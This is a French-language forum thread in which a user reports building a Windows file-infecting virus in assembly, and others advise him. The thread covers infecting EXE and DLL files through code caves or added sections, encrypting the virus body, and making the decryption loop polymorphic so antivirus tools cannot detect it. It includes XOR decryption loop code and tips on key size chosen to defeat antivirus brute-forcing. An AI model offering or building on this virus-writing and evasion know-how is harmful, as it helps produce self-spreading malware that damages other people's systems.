ASM : Problème d'appel d'api

Tout sur les langages de programmation.

Re: ASM : Problème d'appel d'api

Messagepar Chaosphere » 06 Février 2018, 06:17

Oui c'est ce que j'ai cru comprendre aussi....
Bon bah j'ai réjouté un test : Si la taille de la dernière section n'est pas alignée, je ne traite pas le fichier...C'est con mais je ne sais pas trop comment faire autrement
Chaosphere
Elève
Elève
 
Messages: 45
Inscription: 15 Janvier 2018, 13:53

Re: ASM : Problème d'appel d'api

Messagepar Chaosphere » 06 Février 2018, 06:21

Tiens encore une question :

J'ai vu que dans la plupart des virus ils utilisent CreateFileMapping / MapViewOfFile pour écrire dans le fichier....
Actuellement j'utilise CreateFile et SetFilePointer pour me déplacer dans le fichier et ca marche très bien
Est-ce que ca serait mieux de mapper le fichier plutôt ?
Chaosphere
Elève
Elève
 
Messages: 45
Inscription: 15 Janvier 2018, 13:53

Re: ASM : Problème d'appel d'api

Messagepar baboon » 09 Février 2018, 13:19

Il suffit que tu agrandisse le fichier et que tu corrige le champ rawSize de la dernière section pour pouvoir infecter les binaires avec une rawSize non alignée.
Sinon non, tu fais ce que tu veux, les gens utilisent CreateFileMapping parce qu'ils sont fainéants et que c'est plus simple mais il n'y a pas vraiment de raison particulière d'utiliser cette API.
Newbie mais ayant soif d'apprendre et étant motivé
Avatar de l’utilisateur
baboon
Modérateur
Modérateur
 
Messages: 3334
Inscription: 08 Juillet 2005, 17:49

Re: ASM : Problème d'appel d'api

Messagepar Chaosphere » 09 Février 2018, 16:44

Ok je pensais que c'était plus performant d'utiliser le mapping... Du coup je vais rester sur mon CreateFile/SetFilePointer...
Là j'arrive à infecter les exe et les dll, j'ai implémenté le cryptage du virus
J'aimerai bien aussi rendre polymorphe la boucle de décryptage....

Tiens d'ailleurs à ce sujet, est-ce que tu pense que c'est mieux que la clé de cryptage soit sur 32bits ou juste sur 8bits ca suffit ? Vu que l'objectif c'est juste de le rendre non visible des antivirus


Ma boucle de décryptage :

Code: Tout sélectionner
      mov ecx, offset BasProg - offset debut_crypt
      shr ecx, 2
      lea esi, [ebx + debut_crypt]
      @@:
         lodsd
         _xor db 035h
         cle_cryptage dd 0
         mov [esi - 4], eax
      loop @b         
Chaosphere
Elève
Elève
 
Messages: 45
Inscription: 15 Janvier 2018, 13:53

Re: ASM : Problème d'appel d'api

Messagepar Chaosphere » 09 Février 2018, 17:13

Il suffit que tu agrandisse le fichier et que tu corrige le champ rawSize de la dernière section pour pouvoir infecter les binaires avec une rawSize non alignée.


Oui il ne suffit pas de juste corriger le rawsize...Bon je vais regarder ca...
Chaosphere
Elève
Elève
 
Messages: 45
Inscription: 15 Janvier 2018, 13:53

Re: ASM : Problème d'appel d'api

Messagepar baboon » 09 Février 2018, 17:25

8 bit s'vraiment peu... 255 possibilités, c'est limite envisageable pour un AV de tenter de les bruteforcer. Pourquoi ne pas utiliser 32bits ?
Sinon avec un mapping tu auras moins de syscalls oui mais je ne pense pas que ce que tu gagnes en perf soit très ouf...
Newbie mais ayant soif d'apprendre et étant motivé
Avatar de l’utilisateur
baboon
Modérateur
Modérateur
 
Messages: 3334
Inscription: 08 Juillet 2005, 17:49

Re: ASM : Problème d'appel d'api

Messagepar Chaosphere » 10 Février 2018, 17:16

Bon voilà maintenant je peux infecter ls exe dont la taille de la dernière section n'est pas alignée :D

Sinon pour le cryptage 32bits, ca marche mais il y a un truc un peu chiant... Je suis obligé d'aligner le début et la fin de la zon à crypter / décrypter sur une adresse mutiple de 4 sinon il y a toujours 1 ou deux octets à la fin qui ne sont pas décryptés :

Code: Tout sélectionner
; Boucle de décryptage
mov ecx, offset BasProg - offset debut_crypt
shr ecx, 2    ; Diviser par 4 car on traite les octets 4 par 4
lea esi, [ebx + debut_crypt]
@@:
   lodsd
   _xor db 035h
   cle_cryptage dd 0
   mov [esi - 4], eax
loop @b         

align 4
debut_crypt:
....
align 4
BasProg:
Chaosphere
Elève
Elève
 
Messages: 45
Inscription: 15 Janvier 2018, 13:53

Re: ASM : Problème d'appel d'api

Messagepar baboon » 12 Février 2018, 14:58

Je ne vois pas trop en quoi c'est chiant :)
Et tu peux utiliser une clé de 32bits (ou plus) tout en gardant un chiffrement byte à byte (regarde RC4 par exemple).
Newbie mais ayant soif d'apprendre et étant motivé
Avatar de l’utilisateur
baboon
Modérateur
Modérateur
 
Messages: 3334
Inscription: 08 Juillet 2005, 17:49

Re: ASM : Problème d'appel d'api

Messagepar Chaosphere » 12 Février 2018, 15:51

En fait c'est chiant parceque ca génère des instructions qui ne servent à rien (à part à aligner)
Ce qui me dérange le plus c'est que le 1er align 4 me génère un mov edi,edi juste avant la partie à crypter.
Du coup ca fait des octets en plus qui peuvent servir comme signature pour les AV....

Et tu peux utiliser une clé de 32bits (ou plus) tout en gardant un chiffrement byte à byte (regarde RC4 par exemple).

Je ne comprend pas trop comment faire ca... Tu veux dire que pour chaque octets je le crypte avec un seul octet de la clé et à chaque itération je change d'octet de cryptage de la clé ?

genre un truc comme ca ?

Code: Tout sélectionner
; Boucle de décryptage
mov ecx, offset BasProg - offset debut_crypt
lea esi, [ebx + debut_crypt]
mov edx, 12345678h ; Clé de cryptage sur 32bits
@@:
    lodsb
    xor al, dl
    rol edx, 8     ; On change l'octet de la clé qui nous servira à crypter / décrypter
    mov [esi - 1], al
loop @b
Chaosphere
Elève
Elève
 
Messages: 45
Inscription: 15 Janvier 2018, 13:53

Re: ASM : Problème d'appel d'api

Messagepar baboon » 18 Février 2018, 16:34

De toute façon ta boucle de déchiffrement pourra servir de signature :)
Sinon oui c'est à ça que je pense, encore une fois tu peux regarder RC4 ou tout autre algo de génération d'aléa.
Newbie mais ayant soif d'apprendre et étant motivé
Avatar de l’utilisateur
baboon
Modérateur
Modérateur
 
Messages: 3334
Inscription: 08 Juillet 2005, 17:49

Re: ASM : Problème d'appel d'api

Messagepar Chaosphere » 19 Février 2018, 06:50

De toute façon ta boucle de déchiffrement pourra servir de signature


Oui j'imagine.... Je suis en train de regarder comment générer une boucle de décryptage polymorphe justement....

Tiens ce week end, j'ai rajouté la fonctionnalité code cave :D
Si il trouve un code cave il l'infecte sinon il ajoute une nouvelle section :D
Chaosphere
Elève
Elève
 
Messages: 45
Inscription: 15 Janvier 2018, 13:53

Re: ASM : Problème d'appel d'api

Messagepar Chaosphere » 08 Mars 2018, 11:38

Salut Baboon,

J'ai une petite question....

A chaque fois que je débug un prog avec Olly (en tout cas les miens) je remarque que les registres ECX et EDX sont renseignés avec l'adresse de l'image base (401000).
Est-ce qua serait safe d'utiliser ca pour calculer le delta l'offset plutôt que de faire le classique call delta / pop truc sub truc, ...

Un truc dans ce genre là au début du prog ca serait plus simple non ?
sub ecx, 401000 ; Calcul du delta offset


Tiens sinon j'arrive à générer ma boucle de décryptage, à mélanger les instructions, et générer des jmp pour que les instructions s’exécutent dans le bon ordre quand même.... je vais bientôt m'attaquer au générateur de garbage :D (et ca va pas être de la tarte je crois)
Chaosphere
Elève
Elève
 
Messages: 45
Inscription: 15 Janvier 2018, 13:53

Re: ASM : Problème d'appel d'api

Messagepar Hao » 08 Mars 2018, 13:47

Chaosphere a écrit:A chaque fois que je débug un prog avec Olly (en tout cas les miens) je remarque que les registres ECX et EDX sont renseignés avec l'adresse de l'image base (401000).


Bizarre. Quand tu break sur OEP ?
Avatar de l’utilisateur
Hao
Mega Crackeur !
Mega Crackeur !
 
Messages: 260
Inscription: 27 Novembre 2013, 22:24

Re: ASM : Problème d'appel d'api

Messagepar Chaosphere » 08 Mars 2018, 13:55

Oui, j'ouvre mon .exe, et dès l'ouverture j'ai ecx = 401000 et edx = 401000

en fait c'est pas l'imagebase, c'est plutôt l'adresse du point d'entrée

Je viens de tester sur d'autres exe (pas les miens) et ca me le fait aussi, l'adresse est pas forcément 401000 et ecx et edx contiennent à chaque fois l'adresse du point d'entrée

(Pour info je suis sous Win10)
Chaosphere
Elève
Elève
 
Messages: 45
Inscription: 15 Janvier 2018, 13:53

Re: ASM : Problème d'appel d'api

Messagepar Hao » 08 Mars 2018, 14:05

J'ai testé de mon côté sur différents programmes (Win7 64bits), et EDX semble contenir l'adresse de l'OEP. Pour ECX, il est souvent à 0.
Concernant EDX, il contient l'adresse de OEP en fonction d’où le programme est chargé en mémoire, donc pas forcément à son imagebase.
Avatar de l’utilisateur
Hao
Mega Crackeur !
Mega Crackeur !
 
Messages: 260
Inscription: 27 Novembre 2013, 22:24

PrécédenteSuivante

Retourner vers Programmation

Qui est en ligne

Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 1 invité